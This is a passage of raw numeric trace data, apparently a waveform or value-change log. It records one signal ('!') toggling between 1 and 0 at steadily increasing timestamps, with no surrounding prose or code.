1! +#5146168 0! +#5148083 1! +#5148169 0! +#5150084 1! +#5150169 0! +#5152084 1! +#5152169 0! +#5154084 1! +#5154170 0! +#5156085 1! +#5156170 0! +#5158085 1! +#5158170 0! +#5160085 1! +#5160171 0! +#5162086 1! +#5162171 0! +#5164086 1! +#5164171 0! +#5166086 1! +#5166171 0! +#5168087 1! +#5168172 0! +#5170087 1! +#5170172 0! +#5172087 1! +#5172172 0! +#5174087 1! +#5174173 0! +#5176088 1! +#5176173 0! +#5178088 1! +#5178173 0! +#5180088 1! +#5180174 0! +#5182089 1! +#5182174 0! +#5184089 1! +#5184174 0! +#5186089 1! +#5186175 0! +#5188090 1! +#5188175 0! +#5190090 1! +#5190175 0! +#5192090 1! +#5192176 0! +#5194091 1! +#5194176 0! +#5196091 1! +#5196176 0! +#5198091 1! +#5198176 0! +#5200091 1! +#5200177 0! +#5202092 1! +#5202332 0! +#5204092 1! +#5204332 0! +#5206092 1! +#5206332 0! +#5208093 1! +#5208333 0! +#5210093 1! +#5210333 0! +#5212093 1! +#5212333 0! +#5214094 1! +#5214334 0! +#5216094 1! +#5216334 0! +#5218094 1! +#5218334 0! +#5220094 1! +#5220334 0! +#5222095 1! +#5222335 0! +#5224095 1! +#5224335 0! +#5226095 1! +#5226335 0! +#5228096 1! +#5228336 0! +#5230096 1! +#5230336 0! +#5232096 1! +#5232336 0! +#5234097 1! +#5234337 0! +#5236097 1! +#5236337 0! +#5238097 1! +#5238337 0! +#5240098 1! +#5240338 0! +#5242098 1! +#5242338 0! +#5244098 1! +#5244338 0! +#5246099 1! +#5246339 0! +#5248099 1! +#5248339 0! +#5250099 1! +#5250339 0! +#5252100 1! +#5252340 0! +#5254100 1! +#5254340 0! +#5256101 1! +#5256341 0! +#5258101 1! +#5258341 0! +#5260101 1! +#5260341 0! +#5262102 1! +#5262342 0! +#5264102 1! +#5264342 0! +#5266102 1! +#5266342 0! +#5268103 1! +#5268343 0! +#5270103 1! +#5270343 0! +#5272103 1! +#5272343 0! +#5274104 1! +#5274344 0! +#5276104 1! +#5276344 0! +#5278104 1! +#5278344 0! +#5280105 1! +#5280345 0! +#5282105 1! +#5282345 0! +#5284105 1! +#5284345 0! +#5286106 1! +#5286345 0! +#5288106 1! +#5288346 0! +#5290106 1! +#5290346 0! +#5292106 1! +#5292346 0! +#5294107 1! +#5294347 0! +#5296107 1! +#5296347 0! +#5298107 1! +#5298347 0! +#5300108 1! +#5300348 0! +#5302108 1! +#5302348 0! +#5304108 1! +#5304348 0! +#5306109 1! +#5306349 0! +#5308109 1! +#5308349 0! +#5310109 1! +#5310349 0! +#5312110 1! +#5312349 0! +#5314110 1! +#5314350 0! +#5316110 1! +#5316350 0! +#5318110 1! +#5318350 0! +#5320111 1! +#5320351 0! +#5322111 1! +#5322351 0! +#5324111 1! +#5324351 0! +#5326112 1! +#5326352 0! +#5328112 1! +#5328352 0! +#5330112 1! +#5330352 0! +#5332113 1! +#5332353 0! +#5334113 1! +#5334353 0! +#5336113 1! +#5336353 0! +#5338113 1! +#5338353 0! +#5340114 1! +#5340354 0! +#5342114 1! +#5342354 0! +#5344115 1! +#5344354 0! +#5346115 1! +#5346355 0! +#5348115 1! +#5348355 0! +#5350115 1! +#5350355 0! +#5352116 1! +#5352356 0! +#5354116 1! +#5354356 0! +#5356116 1! +#5356356 0! +#5358117 1! +#5358357 0! +#5360117 1! +#5360357 0! +#5362117 1! +#5362357 0! +#5364118 1! +#5364358 0! +#5366118 1! +#5366358 0! +#5368118 1! +#5368358 0! +#5370119 1! +#5370359 0! +#5372119 1! +#5372359 0! +#5374119 1! +#5374359 0! +#5376120 1! +#5376360 0! +#5378120 1! +#5378360 0! +#5380120 1! +#5380360 0! +#5382120 1! +#5382360 0! +#5384121 1! +#5384361 0! +#5386121 1! +#5386361 0! +#5388121 1! +#5388361 0! +#5390122 1! +#5390362 0! +#5392122 1! +#5392362 0! +#5394122 1! +#5394362 0! +#5396123 1! +#5396363 0! +#5398123 1! +#5398363 0! +#5400123 1! +#5400363 0! +#5402124 1! +#5402230 0! +#5404124 1! +#5404230 0! +#5406124 1! +#5406230 0! +#5408125 1! +#5408230 0! +#5410125 1! +#5410231 0! +#5412125 1! +#5412231 0! +#5414125 1! +#5414231 0! +#5416126 1! +#5416232 0! +#5418126 1! +#5418232 0! +#5420126 1! +#5420232 0! +#5422127 1! +#5422233 0! +#5424127 1! +#5424233 0! +#5426127 1! +#5426233 0! +#5428128 1! +#5428234 0! +#5430128 1! +#5430234 0! +#5432128 1! +#5432234 0! +#5434128 1! +#5434234 0! +#5436129 1! +#5436235 0! +#5438129 1! +#5438235 0! +#5440129 1! +#5440235 0! +#5442130 1! +#5442236 0! +#5444130 1! +#5444236 0! +#5446130 1! +#5446236 0! +#5448131 1! +#5448237 0! +#5450131 1! +#5450237 0! +#5452131 1! +#5452237 0! +#5454132 1! +#5454237 0! +#5456132 1! +#5456238 0! +#5458132 1! +#5458238 0! +#5460132 1! +#5460238 0! +#5462133 1! +#5462239 0! +#5464133 1! +#5464239 0! +#5466133 1! +#5466239 0! +#5468134 1! +#5468240 0! +#5470134 1! +#5470240 0! +#5472134 1! +#5472240 0! +#5474135 1! +#5474240 0! +#5476135 1! +#5476241 0! +#5478135 1! +#5478241 0! +#5480136 1! +#5480242 0! +#5482136 1! +#5482242 0! +#5484136 1! +#5484242 0! +#5486136 1! +#5486242 0! +#5488137 1! +#5488243 0! +#5490137 1! +#5490243 0! +#5492137 1! +#5492243 0! +#5494138 1! +#5494244 0! +#5496138 1! +#5496244 0! +#5498138 1! +#5498244 0! +#5500139 1! +#5500244 0! +#5502139 1! +#5502245 0! +#5504139 1! +#5504245 0! +#5506140 1! +#5506245 0! +#5508140 1! +#5508246 0! +#5510140 1! +#5510246 0! +#5512140 1! +#5512246 0! +#5514141 1! +#5514247 0! +#5516141 1! +#5516247 0! +#5518141 1! +#5518247 0! +#5520142 1! +#5520248 0! +#5522142 1! +#5522248 0! +#5524142 1! +#5524248 0! +#5526143 1! +#5526248 0! +#5528143 1! +#5528249 0! +#5530143 1! +#5530249 0! +#5532143 1! +#5532249 0! +#5534144 1! +#5534250 0! +#5536144 1! +#5536250 0! +#5538144 1! +#5538250 0! +#5540145 1! +#5540250 0! +#5542145 1! +#5542251 0! +#5544145 1! +#5544251 0! +#5546146 1! +#5546251 0! +#5548146 1! +#5548252 0! +#5550146 1! +#5550252 0! +#5552146 1! +#5552252 0! +#5554147 1! +#5554253 0! +#5556147 1! +#5556253 0! +#5558147 1! +#5558253 0! +#5560148 1! +#5560254 0! +#5562148 1! +#5562254 0! +#5564148 1! +#5564254 0! +#5566149 1! +#5566254 0! +#5568149 1! +#5568255 0! +#5570149 1! +#5570255 0! +#5572149 1! +#5572255 0! +#5574150 1! +#5574256 0! +#5576150 1! +#5576256 0! +#5578150 1! +#5578256 0! +#5580151 1! +#5580257 0! +#5582151 1! +#5582257 0! +#5584151 1! +#5584257 0! +#5586152 1! +#5586258 0! +#5588152 1! +#5588258 0! +#5590152 1! +#5590258 0! +#5592153 1! +#5592258 0! +#5594153 1! +#5594259 0! +#5596153 1! +#5596259 0! +#5598154 1! +#5598259 0! +#5600154 1! +#5600260 0! +#5602154 1! +#5602322 0! +#5604154 1! +#5604322 0! +#5606155 1! +#5606322 0! +#5608155 1! +#5608323 0! +#5610155 1! +#5610323 0! +#5612156 1! +#5612323 0! +#5614156 1! +#5614324 0! +#5616156 1! +#5616324 0! +#5618156 1! +#5618324 0! +#5620157 1! +#5620325 0! +#5622157 1! +#5622325 0! +#5624157 1! +#5624325 0! +#5626158 1! +#5626325 0! +#5628158 1! +#5628326 0! +#5630158 1! +#5630326 0! +#5632159 1! +#5632326 0! +#5634159 1! +#5634327 0! +#5636159 1! +#5636327 0! +#5638160 1! +#5638327 0! +#5640160 1! +#5640328 0! +#5642160 1! +#5642328 0! +#5644160 1! +#5644328 0! +#5646161 1! +#5646328 0! +#5648161 1! +#5648329 0! +#5650161 1! +#5650329 0! +#5652162 1! +#5652329 0! +#5654162 1! +#5654330 0! +#5656162 1! +#5656330 0! +#5658163 1! +#5658330 0! +#5660163 1! +#5660331 0! +#5662163 1! +#5662331 0! +#5664163 1! +#5664331 0! +#5666164 1! +#5666332 0! +#5668164 1! +#5668332 0! +#5670164 1! +#5670332 0! +#5672165 1! +#5672332 0! +#5674165 1! +#5674333 0! +#5676165 1! +#5676333 0! +#5678166 1! +#5678333 0! +#5680166 1! +#5680334 0! +#5682166 1! +#5682334 0! +#5684166 1! +#5684334 0! +#5686167 1! +#5686335 0! +#5688167 1! +#5688335 0! +#5690167 1! +#5690335 0! +#5692168 1! +#5692336 0! +#5694168 1! +#5694336 0! +#5696168 1! +#5696336 0! +#5698169 1! +#5698336 0! +#5700169 1! +#5700337 0! +#5702169 1! +#5702337 0! +#5704170 1! +#5704337 0! +#5706170 1! +#5706338 0! +#5708170 1! +#5708338 0! +#5710170 1! +#5710338 0! +#5712171 1! +#5712339 0! +#5714171 1! +#5714339 0! +#5716171 1! +#5716339 0! +#5718172 1! +#5718339 0! +#5720172 1! +#5720340 0! +#5722172 1! +#5722340 0! +#5724173 1! +#5724340 0! +#5726173 1! +#5726341 0! +#5728173 1! +#5728341 0! +#5730174 1! +#5730341 0! +#5732174 1! +#5732342 0! +#5734174 1! +#5734342 0! +#5736175 1! +#5736342 0! +#5738175 1! +#5738343 0! +#5740175 1! +#5740343 0! +#5742175 1! +#5742343 0! +#5744176 1! +#5744344 0! +#5746176 1! +#5746344 0! +#5748176 1! +#5748344 0! +#5750177 1! +#5750344 0! +#5752177 1! +#5752345 0! +#5754177 1! +#5754345 0! +#5756178 1! +#5756345 0! +#5758178 1! +#5758346 0! +#5760178 1! +#5760346 0! +#5762178 1! +#5762346 0! +#5764179 1! +#5764347 0! +#5766179 1! +#5766347 0! +#5768179 1! +#5768347 0! +#5770180 1! +#5770347 0! +#5772180 1! +#5772348 0! +#5774180 1! +#5774348 0! +#5776181 1! +#5776348 0! +#5778181 1! +#5778349 0! +#5780181 1! +#5780349 0! +#5782182 1! +#5782349 0! +#5784182 1! +#5784350 0! +#5786182 1! +#5786350 0! +#5788182 1! +#5788350 0! +#5790183 1! +#5790351 0! +#5792183 1! +#5792351 0! +#5794183 1! +#5794351 0! +#5796184 1! +#5796351 0! +#5798184 1! +#5798352 0! +#5800184 1! +#5800352 0! +#5802185 1! +#5802311 0! +#5804185 1! +#5804311 0! +#5806185 1! +#5806312 0! +#5808185 1! +#5808312 0! +#5810186 1! +#5810312 0! +#5812186 1! +#5812312 0! +#5814186 1! +#5814313 0! +#5816187 1! +#5816313 0! +#5818187 1! +#5818313 0! +#5820187 1! +#5820314 0! +#5822188 1! +#5822314 0! +#5824188 1! +#5824314 0! +#5826188 1! +#5826315 0! +#5828189 1! +#5828315 0! +#5830189 1! +#5830315 0! +#5832189 1! +#5832316 0! +#5834190 1! +#5834316 0! +#5836190 1! +#5836316 0! +#5838190 1! +#5838317 0! +#5840190 1! +#5840317 0! +#5842191 1! +#5842317 0! +#5844191 1! +#5844318 0! +#5846191 1! +#5846318 0! +#5848192 1! +#5848318 0! +#5850192 1! +#5850319 0! +#5852192 1! +#5852319 0! +#5854193 1! +#5854319 0! +#5856193 1! +#5856319 0! +#5858193 1! +#5858320 0! +#5860194 1! +#5860320 0! +#5862194 1! +#5862320 0! +#5864194 1! +#5864321 0! +#5866195 1! +#5866321 0! +#5868195 1! +#5868321 0! +#5870195 1! +#5870322 0! +#5872195 1! +#5872322 0! +#5874196 1! +#5874322 0! +#5876196 1! +#5876322 0! +#5878196 1! +#5878323 0! +#5880197 1! +#5880323 0! +#5882197 1! +#5882323 0! +#5884197 1! +#5884324 0! +#5886198 1! +#5886324 0! +#5888198 1! +#5888324 0! +#5890198 1! +#5890325 0! +#5892198 1! +#5892325 0! +#5894199 1! +#5894325 0! +#5896199 1! +#5896326 0! +#5898199 1! +#5898326 0! +#5900200 1! +#5900326 0! +#5902200 1! +#5902327 0! +#5904200 1! +#5904327 0! +#5906201 1! +#5906327 0! +#5908201 1! +#5908327 0! +#5910201 1! +#5910328 0! +#5912202 1! +#5912328 0! +#5914202 1! +#5914328 0! +#5916202 1! +#5916329 0! +#5918202 1! +#5918329 0! +#5920203 1! +#5920329 0! +#5922203 1! +#5922330 0! +#5924203 1! +#5924330 0! +#5926204 1! +#5926330 0! +#5928204 1! +#5928330 0! +#5930204 1! +#5930331 0! +#5932205 1! +#5932331 0! +#5934205 1! +#5934331 0! +#5936205 1! +#5936332 0! +#5938206 1! +#5938332 0! +#5940206 1! +#5940332 0! +#5942206 1! +#5942333 0! +#5944207 1! +#5944333 0! +#5946207 1! +#5946333 0! +#5948207 1! +#5948334 0! +#5950207 1! +#5950334 0! +#5952208 1! +#5952334 0! +#5954208 1! +#5954335 0! +#5956208 1! +#5956335 0! +#5958209 1! +#5958335 0! +#5960209 1! +#5960335 0! +#5962209 1! +#5962336 0! +#5964210 1! +#5964336 0! +#5966210 1! +#5966336 0! +#5968210 1! +#5968337 0! +#5970211 1! +#5970337 0! +#5972211 1! +#5972337 0! +#5974211 1! +#5974338 0! +#5976211 1! +#5976338 0! +#5978212 1! +#5978338 0! +#5980212 1! +#5980339 0! +#5982212 1! +#5982339 0! +#5984213 1! +#5984339 0! +#5986213 1! +#5986339 0! +#5988213 1! +#5988340 0! +#5990214 1! +#5990340 0! +#5992214 1! +#5992340 0! +#5994214 1! +#5994341 0! +#5996214 1! +#5996341 0! +#5998215 1! +#5998341 0! +#6000215 1! +#6000290 0! +#6002215 1! +#6002290 0! +#6004216 1! +#6004291 0! +#6006216 1! +#6006291 0! +#6008216 1! +#6008291 0! +#6010217 1! +#6010292 0! +#6012217 1! +#6012292 0! +#6014217 1! +#6014292 0! +#6016218 1! +#6016293 0! +#6018218 1! +#6018293 0! +#6020218 1! +#6020293 0! +#6022219 1! +#6022294 0! +#6024219 1! +#6024294 0! +#6026219 1! +#6026294 0! +#6028220 1! +#6028294 0! +#6030220 1! +#6030295 0! +#6032220 1! +#6032295 0! +#6034221 1! +#6034296 0! +#6036221 1! +#6036296 0! +#6038221 1! +#6038296 0! +#6040221 1! +#6040296 0! +#6042222 1! +#6042297 0! +#6044222 1! +#6044297 0! +#6046222 1! +#6046297 0! +#6048223 1! +#6048298 0! +#6050223 1! +#6050298 0! +#6052223 1! +#6052298 0! +#6054224 1! +#6054299 0! +#6056224 1! +#6056299 0! +#6058224 1! +#6058299 0! +#6060224 1! +#6060299 0! +#6062225 1! +#6062300 0! +#6064225 1! +#6064300 0! +#6066225 1! +#6066300 0! +#6068226 1! +#6068301 0! +#6070226 1! +#6070301 0! +#6072226 1! +#6072301 0! +#6074227 1! +#6074302 0! +#6076227 1! +#6076302 0! +#6078227 1! +#6078302 0! +#6080228 1! +#6080302 0! +#6082228 1! +#6082303 0! +#6084228 1! +#6084303 0! +#6086228 1! +#6086303 0! +#6088229 1! +#6088304 0! +#6090229 1! +#6090304 0! +#6092229 1! +#6092304 0! +#6094230 1! +#6094305 0! +#6096230 1! +#6096305 0! +#6098230 1! +#6098305 0! +#6100231 1! +#6100306 0! +#6102231 1! +#6102306 0! +#6104231 1! +#6104306 0! +#6106232 1! +#6106307 0! +#6108232 1! +#6108307 0! +#6110232 1! +#6110307 0! +#6112232 1! +#6112307 0! +#6114233 1! +#6114308 0! +#6116233 1! +#6116308 0! +#6118233 1! +#6118308 0! +#6120234 1! +#6120309 0! +#6122234 1! +#6122309 0! +#6124234 1! +#6124309 0! +#6126235 1! +#6126310 0! +#6128235 1! +#6128310 0! +#6130235 1! +#6130310 0! +#6132236 1! +#6132310 0! +#6134236 1! +#6134311 0! +#6136236 1! +#6136311 0! +#6138236 1! +#6138311 0! +#6140237 1! +#6140312 0! +#6142237 1! +#6142312 0! +#6144237 1! +#6144312 0! +#6146238 1! +#6146313 0! +#6148238 1! +#6148313 0! +#6150238 1! +#6150313 0! +#6152239 1! +#6152313 0! +#6154239 1! +#6154314 0! +#6156239 1! +#6156314 0! +#6158239 1! +#6158314 0! +#6160240 1! +#6160315 0! +#6162240 1! +#6162315 0! +#6164240 1! +#6164315 0! +#6166241 1! +#6166316 0! +#6168241 1! +#6168316 0! +#6170241 1! +#6170316 0! +#6172242 1! +#6172317 0! +#6174242 1! +#6174317 0! +#6176242 1! +#6176317 0! +#6178243 1! +#6178318 0! +#6180243 1! +#6180318 0! +#6182243 1! +#6182318 0! +#6184243 1! +#6184318 0! +#6186244 1! +#6186319 0! +#6188244 1! +#6188319 0! +#6190245 1! +#6190319 0! +#6192245 1! +#6192320 0! +#6194245 1! +#6194320 0! +#6196245 1! +#6196320 0! +#6198246 1! +#6198321 0! +#6200246 1! +#6200434 0! +#6202246 1! +#6202435 0! +#6204247 1! +#6204435 0! +#6206247 1! +#6206435 0! +#6208247 1! +#6208436 0! +#6210248 1! +#6210436 0! +#6212248 1! +#6212436 0! +#6214248 1! +#6214437 0! +#6216249 1! +#6216437 0! +#6218249 1! +#6218437 0! +#6220249 1! +#6220437 0! +#6222249 1! +#6222438 0! +#6224250 1! +#6224438 0! +#6226250 1! +#6226438 0! +#6228250 1! +#6228439 0! +#6230251 1! +#6230439 0! +#6232251 1! +#6232439 0! +#6234251 1! +#6234440 0! +#6236252 1! +#6236440 0! +#6238252 1! +#6238440 0! +#6240252 1! +#6240441 0! +#6242252 1! +#6242441 0! +#6244253 1! +#6244441 0! +#6246253 1! +#6246441 0! +#6248253 1! +#6248442 0! +#6250254 1! +#6250442 0! +#6252254 1! +#6252442 0! +#6254254 1! +#6254443 0! +#6256255 1! +#6256443 0! +#6258255 1! +#6258443 0! +#6260255 1! +#6260444 0! +#6262256 1! +#6262444 0! +#6264256 1! +#6264444 0! +#6266256 1! +#6266445 0! +#6268257 1! +#6268445 0! +#6270257 1! +#6270445 0! +#6272257 1! +#6272446 0! +#6274257 1! +#6274446 0! +#6276258 1! +#6276446 0! +#6278258 1! +#6278446 0! +#6280258 1! +#6280447 0! +#6282259 1! +#6282447 0! +#6284259 1! +#6284447 0! +#6286259 1! +#6286448 0! +#6288260 1! +#6288448 0! +#6290260 1! +#6290448 0! +#6292260 1! +#6292449 0! +#6294261 1! +#6294449 0! +#6296261 1! +#6296449 0! +#6298261 1! +#6298449 0! +#6300261 1! +#6300450 0! +#6302262 1! +#6302450 0! +#6304262 1! +#6304450 0! +#6306262 1! +#6306451 0! +#6308263 1! +#6308451 0! +#6310263 1! +#6310451 0! +#6312263 1! +#6312452 0! +#6314264 1! +#6314452 0! +#6316264 1! +#6316452 0! +#6318264 1! +#6318453 0! +#6320264 1! +#6320453 0! +#6322265 1! +#6322453 0! +#6324265 1! +#6324453 0! +#6326265 1! +#6326454 0! +#6328266 1! +#6328454 0! +#6330266 1! +#6330454 0! +#6332266 1! +#6332455 0! +#6334267 1! +#6334455 0! +#6336267 1! +#6336455 0! +#6338267 1! +#6338456 0! +#6340268 1! +#6340456 0! +#6342268 1! +#6342456 0! +#6344268 1! +#6344457 0! +#6346268 1! +#6346457 0! +#6348269 1! +#6348457 0! +#6350269 1! +#6350457 0! +#6352269 1! +#6352458 0! +#6354270 1! +#6354458 0! +#6356270 1! +#6356458 0! +#6358270 1! +#6358459 0! +#6360271 1! +#6360459 0! +#6362271 1! +#6362459 0! +#6364271 1! +#6364460 0! +#6366272 1! +#6366460 0! +#6368272 1! +#6368460 0! +#6370272 1! +#6370460 0! +#6372272 1! +#6372461 0! +#6374273 1! +#6374461 0! +#6376273 1! +#6376461 0! +#6378273 1! +#6378462 0! +#6380274 1! +#6380462 0! +#6382274 1! +#6382462 0! +#6384274 1! +#6384463 0! +#6386275 1! +#6386463 0! +#6388275 1! +#6388463 0! +#6390275 1! +#6390464 0! +#6392276 1! +#6392464 0! +#6394276 1! +#6394464 0! +#6396276 1! +#6396464 0! +#6398276 1! +#6398465 0! +#6400277 1! +#6400362 0! +#6402277 1! +#6402362 0! +#6404277 1! +#6404363 0! +#6406278 1! +#6406363 0! +#6408278 1! +#6408363 0! +#6410278 1! +#6410364 0! +#6412279 1! +#6412364 0! +#6414279 1! +#6414364 0! +#6416279 1! +#6416365 0! +#6418280 1! +#6418365 0! +#6420280 1! +#6420365 0! +#6422280 1! +#6422365 0! +#6424281 1! +#6424366 0! +#6426281 1! +#6426366 0! +#6428281 1! +#6428366 0! +#6430281 1! +#6430367 0! +#6432282 1! +#6432367 0! +#6434282 1! +#6434367 0! +#6436282 1! +#6436368 0! +#6438283 1! +#6438368 0! +#6440283 1! +#6440368 0! +#6442283 1! +#6442369 0! +#6444284 1! +#6444369 0! +#6446284 1! +#6446369 0! +#6448284 1! +#6448369 0! +#6450284 1! +#6450370 0! +#6452285 1! +#6452370 0! +#6454285 1! +#6454370 0! +#6456285 1! +#6456371 0! +#6458286 1! +#6458371 0! +#6460286 1! +#6460371 0! +#6462286 1! +#6462372 0! +#6464287 1! +#6464372 0! +#6466287 1! +#6466372 0! +#6468287 1! +#6468373 0! +#6470288 1! +#6470373 0! +#6472288 1! +#6472373 0! +#6474288 1! +#6474373 0! +#6476288 1! +#6476374 0! +#6478289 1! +#6478374 0! +#6480289 1! +#6480374 0! +#6482289 1! +#6482375 0! +#6484290 1! +#6484375 0! +#6486290 1! +#6486375 0! +#6488290 1! +#6488376 0! +#6490291 1! +#6490376 0! +#6492291 1! +#6492376 0! +#6494291 1! +#6494376 0! +#6496291 1! +#6496377 0! +#6498292 1! +#6498377 0! +#6500292 1! +#6500377 0! +#6502292 1! +#6502378 0! +#6504293 1! +#6504378 0! +#6506293 1! +#6506378 0! +#6508293 1! +#6508379 0! +#6510294 1! +#6510379 0! +#6512294 1! +#6512379 0! +#6514294 1! +#6514379 0! +#6516294 1! +#6516380 0! +#6518295 1! +#6518380 0! +#6520295 1! +#6520380 0! +#6522295 1! +#6522381 0! +#6524296 1! +#6524381 0! +#6526296 1! +#6526381 0! +#6528296 1! +#6528382 0! +#6530297 1! +#6530382 0! +#6532297 1! +#6532382 0! +#6534297 1! +#6534382 0! +#6536298 1! +#6536383 0! +#6538298 1! +#6538383 0! +#6540298 1! +#6540383 0! +#6542298 1! +#6542384 0! +#6544299 1! +#6544384 0! +#6546299 1! +#6546384 0! +#6548299 1! +#6548385 0! +#6550300 1! +#6550385 0! +#6552300 1! +#6552385 0! +#6554300 1! +#6554386 0! +#6556301 1! +#6556386 0! +#6558301 1! +#6558386 0! +#6560301 1! +#6560387 0! +#6562302 1! +#6562387 0! +#6564302 1! +#6564387 0! +#6566302 1! +#6566387 0! +#6568303 1! +#6568388 0! +#6570303 1! +#6570388 0! +#6572303 1! +#6572388 0! +#6574303 1! +#6574389 0! +#6576304 1! +#6576389 0! +#6578304 1! +#6578389 0! +#6580304 1! +#6580390 0! +#6582305 1! +#6582390 0! +#6584305 1! +#6584390 0! +#6586305 1! +#6586391 0! +#6588306 1! +#6588391 0! +#6590306 1! +#6590391 0! +#6592306 1! +#6592391 0! +#6594307 1! +#6594392 0! +#6596307 1! +#6596392 0! +#6598307 1! +#6598392 0! +#6600307 1! +#6600486 0! +#6602308 1! +#6602486 0! +#6604308 1! +#6604486 0! +#6606308 1! +#6606486 0! +#6608309 1! +#6608487 0! +#6610309 1! +#6610487 0! +#6612309 1! +#6612487 0! +#6614310 1! +#6614488 0! +#6616310 1! +#6616488 0! +#6618310 1! +#6618488 0! +#6620310 1! +#6620489 0! +#6622311 1! +#6622489 0! +#6624311 1! +#6624489 0! +#6626311 1! +#6626489 0! +#6628312 1! +#6628490 0! +#6630312 1! +#6630490 0! +#6632312 1! +#6632490 0! +#6634313 1! +#6634491 0! +#6636313 1! +#6636491 0! +#6638313 1! +#6638491 0! +#6640314 1! +#6640492 0! +#6642314 1! +#6642492 0! +#6644314 1! +#6644492 0! +#6646314 1! +#6646492 0! +#6648315 1! +#6648493 0! +#6650315 1! +#6650493 0! +#6652315 1! +#6652493 0! +#6654316 1! +#6654494 0! +#6656316 1! +#6656494 0! +#6658316 1! +#6658494 0! +#6660317 1! +#6660495 0! +#6662317 1! +#6662495 0! +#6664317 1! +#6664495 0! +#6666317 1! +#6666496 0! +#6668318 1! +#6668496 0! +#6670318 1! +#6670496 0! +#6672318 1! +#6672496 0! +#6674319 1! +#6674497 0! +#6676319 1! +#6676497 0! +#6678319 1! +#6678497 0! +#6680320 1! +#6680498 0! +#6682320 1! +#6682498 0! +#6684320 1! +#6684498 0! +#6686321 1! +#6686499 0! +#6688321 1! +#6688499 0! +#6690321 1! +#6690499 0! +#6692321 1! +#6692499 0! +#6694322 1! +#6694500 0! +#6696322 1! +#6696500 0! +#6698322 1! +#6698501 0! +#6700323 1! +#6700501 0! +#6702323 1! +#6702501 0! +#6704323 1! +#6704501 0! +#6706324 1! +#6706502 0! +#6708324 1! +#6708502 0! +#6710324 1! +#6710502 0! +#6712325 1! +#6712503 0! +#6714325 1! +#6714503 0! +#6716325 1! +#6716503 0! +#6718326 1! +#6718504 0! +#6720326 1! +#6720504 0! +#6722326 1! +#6722504 0! +#6724326 1! +#6724504 0! +#6726327 1! +#6726505 0! +#6728327 1! +#6728505 0! +#6730327 1! +#6730505 0! +#6732328 1! +#6732506 0! +#6734328 1! +#6734506 0! +#6736328 1! +#6736506 0! +#6738329 1! +#6738507 0! +#6740329 1! +#6740507 0! +#6742329 1! +#6742507 0! +#6744330 1! +#6744508 0! +#6746330 1! +#6746508 0! +#6748330 1! +#6748508 0! +#6750330 1! +#6750508 0! +#6752331 1! +#6752509 0! +#6754331 1! +#6754509 0! +#6756331 1! +#6756510 0! +#6758332 1! +#6758510 0! +#6760332 1! +#6760510 0! +#6762332 1! +#6762510 0! +#6764333 1! +#6764511 0! +#6766333 1! +#6766511 0! +#6768333 1! +#6768511 0! +#6770334 1! +#6770512 0! +#6772334 1! +#6772512 0! +#6774334 1! +#6774512 0! +#6776334 1! +#6776513 0! +#6778335 1! +#6778513 0! +#6780335 1! +#6780513 0! +#6782335 1! +#6782513 0! +#6784336 1! +#6784514 0! +#6786336 1! +#6786514 0! +#6788336 1! +#6788514 0! +#6790337 1! +#6790515 0! +#6792337 1! +#6792515 0! +#6794337 1! +#6794515 0! +#6796338 1! +#6796516 0! +#6798338 1! +#6798516 0! +#6800338 1! +#6800465 0! +#6802339 1! +#6802465 0! +#6804339 1! +#6804465 0! +#6806339 1! +#6806466 0! +#6808339 1! +#6808466 0! +#6810340 1! +#6810466 0! +#6812340 1! +#6812467 0! +#6814340 1! +#6814467 0! +#6816341 1! +#6816467 0! +#6818341 1! +#6818467 0! +#6820341 1! +#6820468 0! +#6822342 1! +#6822468 0! +#6824342 1! +#6824468 0! +#6826342 1! +#6826469 0! +#6828342 1! +#6828469 0! +#6830343 1! +#6830469 0! +#6832343 1! +#6832470 0! +#6834343 1! +#6834470 0! +#6836344 1! +#6836470 0! +#6838344 1! +#6838470 0! +#6840344 1! +#6840471 0! +#6842345 1! +#6842471 0! +#6844345 1! +#6844471 0! +#6846345 1! +#6846472 0! +#6848346 1! +#6848472 0! +#6850346 1! +#6850472 0! +#6852346 1! +#6852473 0! +#6854347 1! +#6854473 0! +#6856347 1! +#6856473 0! +#6858347 1! +#6858474 0! +#6860347 1! +#6860474 0! +#6862348 1! +#6862474 0! +#6864348 1! +#6864474 0! +#6866348 1! +#6866475 0! +#6868349 1! +#6868475 0! +#6870349 1! +#6870475 0! +#6872349 1! +#6872476 0! +#6874350 1! +#6874476 0! +#6876350 1! +#6876476 0! +#6878350 1! +#6878477 0! +#6880351 1! +#6880477 0! +#6882351 1! +#6882477 0! +#6884351 1! +#6884478 0! +#6886351 1! +#6886478 0! +#6888352 1! +#6888478 0! +#6890352 1! +#6890479 0! +#6892352 1! +#6892479 0! +#6894353 1! +#6894479 0! +#6896353 1! +#6896479 0! +#6898353 1! +#6898480 0! +#6900354 1! +#6900480 0! +#6902354 1! +#6902480 0! +#6904354 1! +#6904481 0! +#6906354 1! +#6906481 0! +#6908355 1! +#6908481 0! +#6910355 1! +#6910482 0! +#6912355 1! +#6912482 0! +#6914356 1! +#6914482 0! +#6916356 1! +#6916482 0! +#6918356 1! +#6918483 0! +#6920357 1! +#6920483 0! +#6922357 1! +#6922483 0! +#6924357 1! +#6924484 0! +#6926358 1! +#6926484 0! +#6928358 1! +#6928484 0! +#6930358 1! +#6930485 0! +#6932358 1! +#6932485 0! +#6934359 1! +#6934485 0! +#6936359 1! +#6936485 0! +#6938359 1! +#6938486 0! +#6940360 1! +#6940486 0! +#6942360 1! +#6942487 0! +#6944360 1! +#6944487 0! +#6946361 1! +#6946487 0! +#6948361 1! +#6948487 0! +#6950361 1! +#6950488 0! +#6952362 1! +#6952488 0! +#6954362 1! +#6954488 0! +#6956362 1! +#6956489 0! +#6958363 1! +#6958489 0! +#6960363 1! +#6960489 0! +#6962363 1! +#6962490 0! +#6964363 1! +#6964490 0! +#6966364 1! +#6966490 0! +#6968364 1! +#6968490 0! +#6970364 1! +#6970491 0! +#6972365 1! +#6972491 0! +#6974365 1! +#6974491 0! +#6976365 1! +#6976492 0! +#6978365 1! +#6978492 0! +#6980366 1! +#6980492 0! +#6982366 1! +#6982493 0! +#6984366 1! +#6984493 0! +#6986367 1! +#6986493 0! +#6988367 1! +#6988493 0! +#6990367 1! +#6990494 0! +#6992368 1! +#6992494 0! +#6994368 1! +#6994494 0! +#6996368 1! +#6996495 0! +#6998368 1! +#6998495 0! +#7000369 1! +#7000598 0! +#7002369 1! +#7002599 0! +#7004369 1! +#7004599 0! +#7006370 1! +#7006599 0! +#7008370 1! +#7008600 0! +#7010370 1! +#7010600 0! +#7012371 1! +#7012600 0! +#7014371 1! +#7014600 0! +#7016371 1! +#7016601 0! +#7018372 1! +#7018601 0! +#7020372 1! +#7020601 